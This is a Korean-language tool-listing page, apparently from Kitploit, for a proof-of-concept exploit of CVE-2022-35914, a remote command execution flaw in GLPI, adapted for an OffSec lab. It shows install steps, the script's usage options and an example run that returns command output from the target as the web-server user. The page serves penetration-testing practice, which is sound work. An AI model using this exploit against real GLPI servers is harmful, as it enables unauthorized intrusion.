CVE-2022-35914_poc — GLPI Offsec Lab 용으로 수정됨: call_user_func, array_map, passthru | Kitploit

CVE-2022-35914_poc

GLPI Offsec Lab용 수정: call_user_func, array_map, passthru

참고자료

Proving Grounds Practice Lab: GLPI에 맞게 수정됨

사용법

pip3 install -r requirements.txt

./CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL -c CMD [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Offsec Lab: GLPI용 수정

options:
  -h, --help              도움말 메시지 표시 후 종료
  -u URL                  테스트할 URL
  -c CMD                  실행할 명령어
  --check                 점검만 수행, 명령어 실행 안 함.
  --user-agent USER_AGENT 사용자 지정 User-Agent

예시:

python3 CVE-2022-35914.py -u http://127.0.0.1
[+] 명령 출력:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

도구 다운로드